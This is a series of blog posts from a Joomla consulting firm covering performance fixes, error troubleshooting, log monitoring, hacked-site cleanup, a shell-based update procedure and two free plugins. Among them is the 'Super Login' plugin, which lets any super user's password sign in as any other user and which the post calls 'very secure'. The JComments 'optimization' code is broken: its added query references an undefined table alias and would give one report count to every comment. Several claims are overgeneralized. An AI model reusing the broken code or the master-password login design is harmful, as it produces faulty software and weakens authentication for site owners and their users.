LEFT JOIN #__content_frontpage AS fp ON fp.content_id = a.id
LEFT JOIN #__categories AS c ON c.id = a.catid
LEFT JOIN #__users AS ua ON ua.id = a.created_by
LEFT JOIN #__categories as parent ON parent.id = c.parent_id
WHERE a.access IN (1,1) AND c.access IN (1,1) AND a.state = 1 AND (a.publish_up = '0000-00-00 00:00:00' OR a.publish_up <= '2015-12-11 22:39:28') AND (a.publish_down = '0000-00-00 00:00:00' OR a.publish_down >= '2015-12-11 22:39:28')
ORDER BY CASE WHEN a.publish_up = 0 THEN a.created ELSE a.publish_up END DESC, a.created;

Even though the query above was only taking a second, it was a problem, because there were many identical queries being executed every second.

Looking closer at the following line…

# Query_time: 1.030854 Lock_time: 0.000249 Rows_sent: 11676 Rows_examined: 58413

…we noticed that the rows being sent by the database to the (Joomla) application were 11,676 rows! Really? Why and where would Joomla need 11,676 rows from the #__content table in one shot? We thought it might be a very badly written module, and so we just emptied the index.php file located under the templates/[joomla-template] folder, and then we checked the load, which dropped a bit, but remained steadily in the double digits. This meant that the issue wasn’t caused by a module.

We then disabled all the published plugins, but, as we expected, it wasn’t the problem. We even switched to a basic template, but with no avail: the load was still very high!

So it wasn’t a module, it wasn’t a plugin, and it wasn’t the template causing the problem. What was it?

We then started debugging the problem, and we discovered that all of a sudden, the website started experiencing an abnormally high number of 404s. When we focused more on this issue, we realized that the high server load was caused by those 404 pages, and it didn’t take us long to know that the root of the issue was a bug in Joomla’s core.

You see, for a mysterious reason, when a user hits a 404 page, Joomla tries to load all the active articles from the database, and, when the database is very large, this can cause serious load issues on the server.

But is there a reason why Joomla does that?

No there isn’t. In fact, Joomla thinks that it’s not doing that. Let us explain by examining some code in the function getItems which is located in the category.php file (which is in turn located under the components/com_content/models folder).

if ($limit >= 0)
{
	$this->_articles = $model->getItems();

	if ($this->_articles === false)
	{
		$this->setError($model->getError());
	}
}
else
{
	$this->_articles = array();
}

As you can see, Joomla checks if $limit is greater or equal to zero, and if it is, it gets the articles from the database, if $limit is less than zero, then Joomla will not get anything form the database. In case you’re wondering, $limit tells Joomla to limit the number of articles retrieved from the database to its value, for example, if $limit is 20, then Joomla only asks MySQL to send 20 articles from the database (instead of 11k rows).

So, for the untrained eye, the above condition is solid: if $limit is less than zero, then do not get anything from the database. But what if $limit is NULL?

Well, if a value is NULL, then PHP will cast it (casting, in programming terms, means transforming a variable from one type to another) to a zero, and then Joomla will get all the active articles from the database (because technically, there is no limit imposed on the number of articles to be retrieved).

If you haven’t guessed it already, 404 pages on the Joomla website had a $limit of NULL, and thus each 404 page was technically loading 11k articles from the database into the memory – both creating a load on the database server and quickly exhausting the available memory.

In short, the condition if ($limit >= 0) is wrong – because if $limit is zero or equivalent to zero, then we will have a serious problem.

So, how did we fix the problem?

We fixed the problem by replacing, in the aforementioned category.php the following line:

$limit = $this->getState('list.limit');

with this one:

$limit = $this->getState('list.limit');
if (!isset($limit) || empty($limit))
	return array();

This ensured that we just return an empty array (as we should) whenever we have a $limit that is not even set, is NULL, or is set to zero.

But why did our client have this sudden spike in 404s?

Our initial guess at that was a change in the linking structure, and, after asking the client, we were proven correct in our assumption: the client made a massive change in the linking structure without making the necessary .htaccess redirection from the old links to the new links.

Now, if you, our dear, dear reader, are having slowdown issues after changing the linking structure on your Joomla website, then try the above solution and add the appropriate redirects in your .htaccess file. If you need help doing that, then please let us know. We are always available, our work is super professional, and we don’t charge much!

Joomla Website Slow After Updating Apache from 2.2 to 2.4

A client of ours, running a Joomla 3.4.6 website and not wanting to update to the seemingly rushed 3.4.7 asked us to update the PHP instance powering his website from PHP 5.4.44 (which has a known exploit when it comes to the serialization and unserialization of data) to close all known exploits on his server. As usual, we happily obliged.

We used EasyApache (from WHM’s interface) to update from Apache 2.2/PHP 5.4.44 to Apache 2.4/PHP 5.5. Everything went smoothly, but, when we checked the website, it was extremely slow. It was taking literally 7-10 seconds to load each page, despite the fact that the website was using the System – Cache Joomla plugin for caching. The same website, before the update, was loading instantly.

The load on the server was very low (in the range of half a percent), and there were virtually no slow queries in the MySQL slow query log.

We remembered that EasyApache offered us the option to install XCache 3.2.0 for PHP, but we didn’t select that option. So we rebuilt Apache/PHP with that option selected (thinking that it would solve the problem), but the issue remained there after the update.

And then it hit us: Apache can be the source of slowness on a Joomla website (as we previously experienced), and so we checked Apache’s global configuration settings (by going, in WHM, to the Apache Configuration page and then clicking on the Global Configuration link), and we noticed that both the Server Limit and the Max Request Workers were set to very low, single-digit values, while the former’s default is 256, and the latter’s default is 150, and so we set both to their default values, we rebuilt the Apache configuration, and then we restarted Apache. Unsurprisingly, that solved the problem!

But why did EasyApache set these configuration settings to very low values?

We really have no idea – but we don’t think it was a glitch as we used the highly stable EasyApache 3. We think that these settings were intentional, thinking that they would make the website more secure and more resilient to DoS (Denial of Service) attacks. Ironically, by trying to protect the website against DoS attacks, EasyApache created the same effect that a DoS might have on a website.

If you’re having any performance issues after (fully or partially) updating your LAMP environment, then check Apache’s settings, as the problem might be there. If you have already checked and you have found nothing outside the ordinary, then go ahead and contact us. We will find a solution, we will implement the solution, we will fix the problem, and you won’t be charged much!

“Fatal error: Call to undefined function mb_regex_encoding()” Error in Joomla

Note: The guide described in this post, although straightforward, is probably better performed by a system administrator as there’s always a chance of a glitch while tinkering with the server’s Apache and PHP installations.

Last week, we were commissioned to create a microsite for a large clients of ours. The microsite consisted of copying a partner’s website into their website (they recently bought that partner). We were excited because creating microsites is always a fun and straightforward job.

We usually use K2 for creating microsites (since it has the very powerful and adaptable “extra items“), and this time was no different… But (you knew there was a “but” somewhere, didn’t you?), after installing K2 and going to the K2 extension in the backend, we encountered the following error:

Fatal error: Call to undefined function mb_regex_encoding() in /home/[user]/public_html/components/com_k2/helpers/route.php on line 94

Luckily, we did encounter this issue before (but with a different extension), and so we knew exactly what the problem was… In short, it was a missing module (a PHP module, and not a Joomla module) that should have been bundled with the PHP instance installed on the server, but wasn’t. So, in order to fix the problem, all that needed to be done was to re-install PHP with that missing module (called Mbregex, short for Multibyte Regular Expression). Here’s how to do that:

  • Login to the WHM interface hosting that website.

  • Search for the word “EasyApache 3″ in the search textbox on the top left and then click on its link.

  • In the selected configuration (the configuration with the radio button checked next to it, under Previously Saved Config), click on the settings wheel (just under Actions).

  • Click on Next Step when you are in Apache Version and PHP Version (do not change anything). Once you are in the Short Options List page, click on Exhaustive Options List (at the very bottom).

  • On the Exhaustive Options List page, click on the checkbox next to Mbregex, and then click on Save and Build at the bottom of the page. You will be asked this question “Recompile Apache and PHP now?” to which you should answer “OK” and then “I understand”.

  • Now wait and do not close your browser or the current page! As a reward for your 10-minute patience, a popup will appear where you just have to click on Save New Configuration (scroll down to the end of the text in the popup in order to see the Save New Configuration button). Once you click on it, the new Apache/PHP configuration settings will be applied and the problem will be resolved!

That was easy, huh? And the best thing is that the downtime is literally less than a minute to resolve this problem (you will have an unavoidable downtime since Apache, the web server, needs to be restarted during the process). Note that your website will not be down during the installation process (again, which takes around 10 minutes).

But what if the website is not on a WHM based server or is on a shared hosting platform?

If your website is on a Plesk powered server, then doing the above is not as straightforward and can get slightly complex. We suggest you ask us (or a system administrator, or your hosting company) to do that for you.

If you are on a shared hosting, then you are at the mercy of your host, or may or may not be willing to do it for you (since installing Mbregex on your account means installing it on the whole server).

If, even after following the above guide you are still seeing the same error, then try clearing your Joomla cache and see if it helps. If it doesn’t, then it’s probably time to contact the Joomla experts (that’s us!) who will solve the problem for you in not time and for a really, really affordable fee!

Blank Page on the Article Manager in Joomla’s Backend – How to Resolve

This very morning, the head administrator of a Joomla intranet website belonging to an extremely reputable university in the US Northeast (that university is a client of ours), called us and told us that whenever he goes to the Article Manager page on Joomla’s backend, he sees a blank page (despite the fact that his Error Reporting was set to Maximum in the Joomla’s global configuration). So we told him the following, just close your browser (all instances of the browser), and then open it again, and then try visiting the Article Manager page.

So he did that, and, unsurprisingly, we heard a loud “Huh?” on the phone immediately followed by “You guys are geniuses! It’s working now! But how?”

While we were tempted to claim that we performed some magic on our end to solve this problem, our open-knowledge nature eventually prevailed and we explained to the customer why closing the browser and re-opening it solved the problem. Now let us explain it for you, our dear reader!

Over the years, we have worked on Joomla every single day, and so we know almost everything about it, and we know the cause of the absolute majority of snags that Joomla administrators hit. You see, our client, when he was in the Article Manager page, he filtered on a specific category, and then, on the top right, he selected All instead of 20 to display all articles belonging to that category. After he finished his work on that particular category, he removed the category filtering and the website crashed because Joomla was trying to load all the articles in all the categories (since All was still selected), which made his PHP instance run out of memory.

But, is there a way to solve this problem without closing the browser?

We understand that some times you are running some important applications on the browser and you just can’t close it, and so another way to solve the problem would be to use another browser. But, if you don’t have another browser (some corporations restrict their employees to using one browser, which is typically Internet Explorer), then you can just go to phpMyAdmin, select the database powering your Joomla website, and then clear the #__session table by issuing the following:

TRUNCATE TABLE #__session

But, what if I really want to see all the articles in one shot?

If you have that very strange urge, then you can just increase the memory available for PHP (we have explained how to do this before here). Keep in mind that increasing the memory is a two-edged sword, as while it will fix your problem, it may lead to the whole system running out of memory and thus resorting to swap which will slow down the whole server, eventually crashing the website.

We hope that the above guide helped you fix your problem. If you still have the same issue even after closing your browser and increasing the memory, or if you feel that this issue is a bit too technical for your taste, then please contact us. We’ll do the work for you professionally, quickly, and for a very competitive fee!

Monitoring the Logs: A Proactive Technique to Ensure Your Joomla Website Remains Secure

OK – we have to admit it. We’re paranoid and we’re afraid of our own shadows, we’re also afraid of clowns (they really are scary), adult strangers talking to us in the streets, and, of course, being sucked down the bathtub drain (baths are always a nightmare). But our greatest fear is seeing a client’s website hacked, and that fear is so powerful that it forces us to be extremely proactive when it comes to website security.

Of course, proactiveness (or should it be proactivity for those grammaticians out there?) when it comes to website security manifests itself in many different ways at itoctopus, but one of them is monitoring the logs – specifically the Apache logs.

Logs, for those who don’t know (or for those who try to avoid looking at them) provide a wealth of very precious information about a website when it comes to security. For example:

  • Who’s logging to the website’s backend?

    One of our major clients is located in Chicago, IL. So, we examine every IP that logs in to backend of the website, and if we see an IP that is using the backend from any area outside Chicago, then we scrutinize all the activities performed by that IP and we tell our client to make sure that the login was (or was not) a false positive.

  • Which PHP files are being used?

    By default, the only PHP file accessed directly by Joomla (Apache) should be the index.php file, so, if, we find in the logs that Apache is successfully accessing another PHP file, then we examine that file very thoroughly to make sure that it’s a legitimate file. If it is not, the we get the file creation data, we delete it, and then based on the creation date of file we search through the logs in order to have an idea how it got there in the first place.

  • Which IPs are draining the website’s traffic?

    Examining the Apache logs allows us to find which IPs are using up the majority of the website’s bandwidth. Once we know those IPs, we can then choose to either ignore them (if they are legitimate crawlers/visitors) or block them (if they are visiting the website for malicious reasons).

  • Which pages/file are “404s”?

    Google Webmaster Tools provides some in-depth information about your 404 pages – but it’s still an external tool, and it doesn’t tell you much about the 404 files (such as 404 CSS files, 404 JavaScript files, etc…). Examining the logs allows us reveal which pages/files are being accessed extensively by the visitors but do not exist. Of course, you might be wondering, “what does that have to do with security?”. Well, a lot, since many attackers scan the website for vulnerable files randomly – so this allows us to catch the attackers’ IPs and block them. Also, performance-wise, addressing 404s by either blocking the request to the page/file altogether or by redirecting to another page will lessen the load on the both the web server and the database server.

If you want to have a robust and secure Joomla website, then monitoring/examining the Apache logs can help you tremendously (this should be a full time job by the way on large websites). If you need some guidance or if you need us to do this job regularly for you, then please contact us and we’ll be certainly happy to do so. Note that our super duper affordable fees apply!

Optimizing JComments in Joomla’s Backend

A client of us called us and told us that they were were experiencing huge slowdowns when using JComments in the backend – such slowdowns were affecting the whole website and sometimes lasting for several minutes! After a quick investigation in the slow query log, we were able to isolate the 3 queries causing the problem:

  • Query 1: (sometimes taking about 60 seconds to execute):

    SELECT jc.*, (SELECT COUNT(*) FROM `#__jcomments_reports` AS r WHERE r.commentid = jc.id) AS reports,jo.title as object_title, jo.link as object_link,u.name AS editor
    FROM `#__jcomments` AS jc
    LEFT JOIN `#__jcomments_objects` AS jo ON jo.object_id = jc.object_id AND jo.object_group = jc.object_group AND jo.lang = jc.lang
    LEFT JOIN `#__users` AS u ON u.id = jc.checked_out
    ORDER BY jc.date desc LIMIT 0, 20;

  • Query 2: (sometimes taking about 5 seconds to execute):

    SELECT DISTINCT(lang) AS name
    FROM #__jcomments
    ORDER BY object_group ASC;

  • Query 3: (sometimes taking about 5 seconds to execute):

    SELECT DISTINCT(object_group) AS name
    FROM #__jcomments
    ORDER BY object_group ASC;

After isolating the queries, our next step was to locate the file containing these queries, and it didn’t take us long: it was the file comments.php located under the administrator/components/com_jcomments/models/ folder. So, all we had to do was to optimize the queries in that file. This was done the following way:

  • At the very beginning of the function getListQuery, we added the following code:

    $sql = 'SELECT COUNT(*) FROM ' . $this->_db->quoteName('#__jcomments_reports') . ' AS r WHERE r.commentid = jc.id';
    $this->_db->setQuery($sql);
    $numReports = $this->_db->loadResult();

    We then changed the following line:

    $reportsSubQuery = ', (SELECT COUNT(*) FROM ' . $this->_db->quoteName('#__jcomments_reports') . ' AS r WHERE r.commentid = jc.id) AS reports';

    to:

    $reportsSubQuery = ', ' . $numReports . ' AS reports';

    This way we split the very heavy query into two queries which dramatically improved the performance (subqueries should always be avoided since they create a huge load on the database server), and by dramatically we mean that the execution time was reduced from 30-60 seconds to a very tiny fraction of a second.

  • At the very beginning of the function getFilterLanguages, we added the following code:

    $objLanguage= new stdClass();
    $objLanguage->name = 'en-GB';
    return (array($objLanguage));

    The 3 lines above ensured that JComments didn’t have to scan all the comments to know the available languages. Since we know that our client’s website only uses English, all we needed to do was to hardcode the returned array to only contain the English language (hence the en-GB in the code). If you’re using Spanish, for example, then you should replace en-GB (in the above code) to es-ES. Note that if you have comments in multiple languages, then you should create an object for each language (e.g. $objLanguage1, $objLanguage2, etc…) and then return an array containing these objects (e.g. return array($objLanguage1, $objLanguage2, …)).

  • At the very beginning of the function getFilterObjectGroups, we added the following code:

    $objObjectGroup1= new stdClass();
    $objObjectGroup1->name = 'com_content';
    $objObjectGroup2= new stdClass();
    $objObjectGroup2->name = 'com_k2';
    return (array($objObjectGroup1, $objObjectGroup2));

    The above code will work for websites using Joomla’ core and/or K2 for content management (the website we were working on was using both). If you are using another extension for content management in conjunction with JComments, then you should add it to the code above (while, at the same time, removing the unnecessary ones, such as com_k2 if you’re not using K2).

After implementing the above code changes, our client experienced huge performance gains and the MySQL server was relieved from doing unnecessary work.

Now, in case your website is suffering from slowdowns when you’re working with JComments in the backend, then try implementing the above optimizations. If you are still having problems (even after doing the above), or if you just don’t want to touch any code, then please contact us. We will definitely help and we’re confident that you will see huge improvements on your website in very little time and for a very little cost.

A Super Fast Way to Clean a Hacked Joomla Website

Note: This post assumes you have cPanel access to your website. The instructions for other hosting interfaces are different and are not covered in this post.

Warning: The method described in this post will wipe out any core modifications that you might have on your Joomla website. You have been warned!

Another warning: As explained in this post, this method may or may not work on your website (depending on the type of hack) – so there are no guarantees whatsoever that your website will be “clean” once you follow the below.

For years now, we’ve been getting so many tasks to unhack Joomla websites every month. What’s interesting is that these tasks never bore us, because quite a few of them are unique, and by unique we mean that the exploited websites suffered from hacking techniques that we have never seen (or fixed before). But about 50% (or maybe even more) of these tasks are standard (a standard Joomla hack, as we see it, is where core, and only core, Joomla files are hacked – anything other than that is a non-standard hack), and this has helped us devise a super fast method to cleanup a standard-hacked Joomla website.

You might be wondering – didn’t we write about this before? Well, not really, because the method described in the previous post is fast, but this method is super fast. On the flip side, the method described in this post is a hit or miss: it might work on your website or it might not work, while the other method is more of a solid process to cleanup Joomla websites.

So, without further delay (we know that you’re probably anxious and don’t have time to read literature), here’s our super fast method that you can use to clean your Joomla website from malware:

  • Do not visit your website (backend or frontend).
  • Backup your website. Yes, we know it’s bloated with malware, but you should back it up!

  • Ensure that index.php is the only PHP file that Apache can run as described here.

  • Login to the cPanel account hosting your Joomla website.
  • Click on File Manager, and then browse to the libraries/cms/version folder located under your Joomla website.

  • Open the file version.php and take note of these 2 variables: $RELEASE and $DEV_LEVEL. These variables (a variable, in the programming world, is… Well, we don’t know how to explain it in layman terms, but, if you don’t get it, that’s OK…) will tell you the exact version of your Joomla website. For example, if you have something like…

    public $RELEASE = '3.4';
    public $DEV_LEVEL = '5';

    …then your Joomla version is 3.4.5.

  • Download the exact version of your Joomla website from Joomla’s official website (you can always google your Joomla version and you will find the download page for your version somewhere in the first 3 links). Note that you should download the full release, and not the update.

  • Upload the file that you have just downloaded (from joomla.org) through cPanel’s File Manager to the main directory of your Joomla website – e.g. the /home/[username]/public_html directory – and extract it there (just right click on the file, and then click Extract).

  • Once the file is extracted (unzipped), then remove the installation folder and the Joomla zipped file that you have just extracted.

  • Check if your website is now clean!

If this method works for you, then congratulations! You’re one of the lucky ones! We do suggest, however, that you investigate how your website got hacked in the first place to prevent the same thing from happening again. If it doesn’t work, then don’t worry, we’re here for you! Just contact us and we’ll clean your website in no time and for a very affordable price!

“Files – Search”: A Free Joomla Plugin that Will Search Through Files

Ah search plugins, we love them, we truly do! Every time we get a job to create a search plugin we fight amongst ourselves as to who will create this plugin! We have created search plugins that will search core Joomla tables, non-core Joomla tables, specific modules, etc… We even created search plugins that will search data located on a remote server (through a web service). However, there is one very special search plugin that we have developed and refined over the years, we like to call it the “Files – Search” plugin (not a very original name, huh?). What this search plugin does is slightly different than what other search plugins do: instead of searching a table in the database for a keyword, it searches files in a specific directory for that keyword!

Since we are very generous, we have decided to release the plugin for our loyal readers for free: you can find it here.

What does this plugin do exactly?

The “Files – Search” plugin will search through all the files in the “Search Directory” (which is a setting in the plugin) and will return the URL of each file that has the searched text in its content along with an excerpt (as well as the creation date of the file). The plugin will then send its search results (e.g. the matching files) to the search component, which will then merge them with the search results of other search plugins, and will eventually display them on the “Search Results” page.

What kind of filetypes can this plugin search?

Currently, the plugin can search Text files (.txt, .text), HTML files (.htm, .html), PDF files (.pdf), MS Word documents (.doc, .docx), MS Excel documents (.xlsx), and MS PowerPoint documents (.pptx).

Is this plugin stable?

Yes – we can safely say it’s very stable. In fact, we use it on quite a few large production websites and it performs amazingly. So, yes, it’s really stable!

Is installing, configuring, and operating this plugin a hard task?

No – it’s really quite easy. In fact, all you need to do after downloading the plugin from our website and installing it on your Joomla website is to modify the only setting the plugin has which is the “Search Directory” (to make it point to the folder containing the documents that you would like to search for). Afterwards, you just have to enable the plugin and that’s it!

Are there any limitations to this plugin?

Currently, the plugin will only search one folder (recursively) – so, if you want to search multiple folders, then please contact us and we’ll give you a quote for that (note that our fees are very competitive). Additionally, the plugin will only search files of specific types (these types are listed above) – again, if you want to search for other file types, then you will need to contact us.

Will the plugin work on all versions of Joomla?

The last time we have used this plugin was very recently (on a Joomla 3.4.5 website), but we’re confident that it’ll work flawlessly on Joomla 2.5 websites. As for Joomla 1.5 (if you still haven’t upgraded yet), then the plugin might work without any modification (but we suspect that), and if it doesn’t work then please contact us, we’re sure we can make it work for you in very little time.

Will the plugin search PDF files?

Yes (we mentioned this above but we wanted to assert this point), and what’s interesting is that it does that without installing any 3rd party library on the server hosting your Joomla website. It can also search the majority of Microsoft Office documents (also without installing any 3rd party library on the server).

So, is this plugin free?

Yes – it’s free: you can modify it whichever way you like and use it to fit your needs. We’re also against the practice of linking back to our website from our plugins, so you can rest assured that the plugin is free and clean.

However, keep in mind 2 things:

  1. We don’t provide free support for any of our free plugins. If you want support then please check our fees!

  2. Although we have made sure that this plugin is safe and will not cause any issues, please keep in mind that you are using this plugin at your own risk. We cannot be held liable for any issue directly or indirectly caused by the use of this plugin. This free plugin is provided as-is and comes with no warranty whatsoever!

We hope you will enjoy using this plugin the same way we have enjoyed building it. Should you have any questions about it or should you want us to modify it for you in any way, then don’t be a stranger; all you need to do is to contact us (again, keep in mind that our super affordable fees apply)!

The Quickest and Best Way to Update a Joomla Website

Note: This post is about updating a Joomla website, and not migrating it. See the difference between the two here.

A few weeks ago, Joomla released Joomla 3.4.5, which is a critical security update that closes a SQL injection exploit existing in previous versions of Joomla. At the time of its release, we got so many calls from Joomla administrators who had issues updating their Joomla website. This is normal and we did help them address the issues that they faced. However, we also got a not-so-small number of calls from Joomla administrators who were intimidated from the whole “update” concept. They felt that 1) they will run into issues, and 2) the update will take a lot of time, and so they asked us about the fastest and best way to update a Joomla website. We told them that they could follow our easy guide of updating Joomla website. Naturally, they asked us about it, and we told them that we’ll publish it soon on our website! And here it is, our super-duper easy and quick guide for updating Joomla websites (note that the following guide applies to a WHM/cPanel environment):

  • Backup your Joomla website. Make sure you backup both the database and the filesystem. Do not proceed without backing up your website. You have been warned!

  • Make sure that your website’s backup works. Sometimes, backups can be corrupt, and you can’t really restore a website with a corrupt backup!

  • Login to the server hosting the Jooma website through ssh (we usually ssh to a server using putty).

  • Go to this folder: /home/[cpanel-username/public_html using the cd command. E.g.:

    cd /home/[cpanel-username]/public_html

  • Download the latest version of Joomla to the server. This can be done using the following command:

    wget https://github.com/joomla/joomla-cms/releases/download/3.4.5/Joomla_3.4.5-Stable-Full_Package.zip

    Note that the above link must be replaced with the latest Joomla download link, which should be copied from the joomla.org/download.html page (it should be the Full Package link).

  • Add the following line to the beginning of the .htaccess file (located under the root directory of your Joomla website):

    deny from all

    The above ensures that your website is not available during the update process - otherwise your visitors will be redirected to the installation folder once you do the next step.

  • Extract the downloaded file onto your Joomla website. You can do this using the following command:

    unzip Joomla_3.4.5-Stable-Full_Package.zip

    (Note: Answer "A" to update all files when you're prompted by the system.)

  • Remove the installation folder by issuing the following command:

    rm -Rf installation

  • Remove the downloaded Joomla install by issuing the following command:

    rm -Rf Joomla_3.4.5-Stable-Full_Package.zip

  • If you've ssh'd as root, then you will need to issue the following commands to correct the file ownership on the Joomla files:

    chown -R [cpanel-username] *
    chgrp -R [cpanel-username] *

  • Open the .htaccess file and remove the line that you have added earlier in the process.

  • That's it. Your website is now fully updated.

Note that if you have modified some core files on your Joomla website, then you will need to backup these files before starting the process, and then you will need to restore them after the above process is done. If you don't do that, you will lose all the core modifications done on your website.

But why do the above when you can just update your website by clicking on a button?

Well, because that button click doesn't work smoothly all the time. Additionally, by extracting the Joomla install over the current website, we avoid any database updates to the website (database updates can cause compatibility issues), since we're just overwriting files.

If you have problems updating your Joomla website, then try our guide, it should help tremendously. If it doesn't work for you or if you think that it's not the easiest guide to follow, then please contact us. We'll update your website in no time and for a very affordable fee!

“Bad Request: Your browser sent a request that this server could not understand.” Error When Trying to Access Your Joomla Website

A client of ours emailed us a few days ago and told us that whenever he tries to access his website, he’s seeing the following error:

Bad Request: Your browser sent a request that this server could not understand. Size of a request header field exceeds server limit.

He told us that he was the only one in his company seeing this problem, but that he had no idea whether any of his website’s visitors was having the same problem. He asked us to investigate, and so we did.

A quick research revealed that the issue was related to his browser having a huge cookie that was bigger than the maximum size allowed by the server. So, a fast solution to the problem was to ask him to clear his cookies on his browser. However, that didn’t technically solve the problem, it just made the problem go away. But, we know that these problems are like seagulls, when you shoo them away, they will leave, but they will eventually return.

So, we had to solve this problem at its root, and solving it at its root meant that we had to increase the maximum size of the cookie allowed by the server at the server level. We did this the following way :

  • We ssh’d to the server as root.
  • We opened the file httpd.conf located under the /usr/local/apache/conf/ folder.

  • We added the following line to the very beginning of the file:

    LimitRequestFieldSize 16384

  • We saved the file and we restarted Apache.

  • The problem was solved!

Note that the location of the httpd.conf file may vary from one Linux distribution to another. The location specified in the guide above applies to a CentOS (WHM) server.

Additionally, note that the above solution can only be implemented if you have root access to your server (e.g. if you have a VPS or a dedicated server). If you are on a shared hosting, then your best option would be to contact your host and ask them to increase the LimitRequestFieldSize value for you (keep in mind that your host will probably refuse as this will open a whole can of worms for them – so, your other best option would be to move to a VPS or a dedicated server).

But, what is the default value of LimitRequestFieldSize?

The default value of LimitRequestFieldSize is 8190 (speaking a bit more technically, the 8190 is the default maximum size of the HTTP request header field). Typically, most websites do not need to go over the default limit, but some websites store a lot of data in their cookies, causing the limit to be exceeded, and eventually causing the problem described in this post.

Can the problem be fixed at the .htaccess level?

Unfortunately, no, it can’t be fixed there. It can only be fixed at the httpd.conf level (hence the problem cannot be fixed if you are on a shared hosting).

If you have the same problem on your website, then try, before clearing your cookies, to fix the problem at the server level by modifying the httpd.conf file. The reason why it’s better to fix the problem before clearing your cookies is to make sure that you actually fixed the problem. If the problem is still there, then please contact us. We’ll fix it for you in as little time as possible and for a super affordable fee!

Super Login: A Free Joomla Plugin that Allows a Super User to Login as Any User

At itoctopus, we test our clients’ Joomla websites constantly, so much that we have developed Joomla plugins that will help us in the testing. One of the plugins that we have developed and that we constantly use is the Super Login plugin, which allows us to login as any user to the Joomla website with that user’s username and our super user password.

For example, if we have jeff as one username on a certain Joomla website that we manage, and the password for jeff is jeff123, and there is a super user called admin on that same website with admin123 as password, then we can (if we have the Super Login authentication plugin installed and enabled) login as jeff with the following credentials:

Username: jeff
Password: admin123 (instead of jeff123)

What’s interesting is that once we are logged in as jeff using our password, we will have all the rights/privileges for the jeff username, it’s exactly like logging in as jeff (think about it as if jeff has one username and two passwords).

We have developed and maintained this plugin for years now but we have just revamped it for public release, and because we are very generous, we are offering it to our readers for free. It can be downloaded here.

The Super Login plugin is revamped for Joomla 3.x and is built on top of the Authentication core Joomla plugin. Joomla 2.5.x compatibility is possible with little or no modification – we used to use it on Joomla 2.5.x, but we have modified it heavily since (that’s why were not sure if it’ll work or not).

The plugin, for security reasons, will not allow a super user to login as another super user (if you really need to allow this then a quick modification to the code will address this limitation). Additionally, and also for security reasons, the plugin will only check 10 super users for a matching password. So, if you have more than 10 super users, then only the first 10 will be considered (in any case, we don’t think that any Joomla website should have more than 10 users).

The way the plugin works is as follows:

  • It first checks whether the username provided actually exists. If it doesn’t, then the plugin throws an error message and the authentication fails.

  • It then checks if the username belongs to a super user. If it does, then it throws an error message and the authentication fails.

  • It then gets the Group ID for super users (super administrators). Typically their Group Id is 8, but the plugin is intelligent enough to handle any change in that number on heavily modified websites (or in case Joomla decides to assign super users another Group Id).

  • The plugin then grabs a maximum of 10 super users from the #__users table for comparison.

  • It then loops through the super users, until it finds a super user with a matching password. Once it does, it logs the user in with the username entered.

So, is this plugin secure?

We can confirm that it’s very secure. Again, it’s built on top of the Joomla core authentication plugin, which is, undeniably, very secure. Neverthless, it’s important to note that the plugin doesn’t have any DoS protection, which is why we have limited the number of checked super users to 10.

When is this plugin useful?

This plugin is useful when you want, for example, to login to the backend as another user to see what the other user sees and what he can do (after creating that user or after changing the role granted to that user). It’s also useful in the frontend for the very same reasons.

Why is this plugin free?

Well, it’s obvious isn’t it? Because we love Joomla and we love our readers, and we’re doing out best to keep Joomla at the helm with useful, clean, and sophisticated extensions. And, before you ask, it’s really free, there are no hidden links anywhere and you don’t have to buy anything (unless, of course, you want us to support it).

The plugin’s installation is super simple. Just install it from the Extension Manager, and then enable it (make sure that it’s ordered last among enabled authentication plugins). If after installing it and enabling it, the plugin didn’t work for you for some reason, then please contact us, but note that we charge fees for supporting this plugin. Also, last but not least, please keep in mind that this plugin is provided as-is and comes with no guarantees whatsoever, and we can’t be held responsible for any issue, either major or minor, resulting directly or indirectly from the use of this plugin.

Administrator Menu Not Appearing in Joomla’s Backend

We had a very curious case today: an occasional customer of ours emailed us and told us that for the past few months they weren’t able to see the administrator menu in the backend. They temporarily addressed the problem by installing an extension called Admin Menu Manager, which provided an alternative for generating the admin menu.

Of course, that wasn’t an ideal solution, and that’s why they came to us. The first thing that we did was uninstalling the Admin Menu Manager extension, and when we did that, the backend was menuless (yes, we just invented a word!).

At first, we thought that there was an error somewhere in the menu (non-fatal error) that was causing this issue, so we set Error Reporting to Maximum in the global configuration settings, but the website was clean as snow, it was errorless (that’s two words already!), which really meant one of the following 5 things:

  1. There is corruption at the ACL (Access Control List) level.

  2. The Administrator Menu module is disabled.

  3. The Administrator Menu module is trashed/deleted.

  4. The Administrator Menu extension is disabled.

  5. The Administrator Menu extension is uninstalled.

So, the first thing that we checked was the ACL corruption, and, after a quick glimpse at the ACL tables in the database, we were able to confirm that the issue was not there.

The next thing to do was checking the Extensions -> Modules page (which we accessed using the following URL: [www.ourclientjoomlawebsite.com]administrator/index.php?option=com_modules ) to see if there was a module called Admin Menu of type Administrator Menu with a Special access and assigned to the menu position (of course, we needed to switch the Filter on the left from Site to Administrator first) – there wasn’t! Checking the trashed modules revealed nothing, which primarily meant that the module was trashed and then deleted. Weird…

So, we tried recreating the module by just clicking on the New button (on the top left) when in the Modules page, but, to our surprise, there was no option to create an Administrator Menu module, the list of possible modules started with Administrator Sub-Menu. Huh… This probably meant that the Administrator Menu extension was either disabled or uninstalled.

So, we went to the Extensions -> Manage page (which we accessed from [www.ourclientjoomlawebsite.com]/administrator/index.php?option=com_installer), and then we clicked the Manage tab on the left, and then we searched for the extension named Administrator Menu (we expected it to be disabled), but it wasn’t even there! This core extension was uninstalled by someone (or something). This meant that we had to re-install it, and so, we created an installable version of this core extension manually the following way:

  • We downloaded a fresh Joomla install.

  • We extracted that install and then we navigated to the administrator/modules/mod_menu folder.

  • We then copied the en-GB.mod_menu.ini and the en-GB.mod_menu.sys.ini files from the administrator/language/en-GB folder to the above directory (administrator/modules/mod_menu).

  • We then compressed (zipped) the contents of the mod_menu directory (we made sure that we compressed the contents of the directory, and not the directory itself). Note: the resulting compressed mod_menu can be found here (note that this is extracted from a Joomla 3.4.5 install, but it can be used on any Joomla 3 website).

  • We installed the menu extension created in the previous step by going here [www.ourclientjoomlawebsite.com]/administrator/index.php?option=com_installer&view=install and then uploading the zipped file, and voilà, the backend menu appeared in all of its glory! The problem was fixed, hooray!

If the Administrator Menu is not appearing in the backend of your Joomla website, then try following the above guide to locate and fix the issue. If it doesn’t work for you, or if you feel that it’s a bit over your head, then please contact us. We will fix the problem for you at a very affordable price and in the cleanest way possible!

20 Questions You Should Be Asking Yourself If Your Joomla Website Is Slow

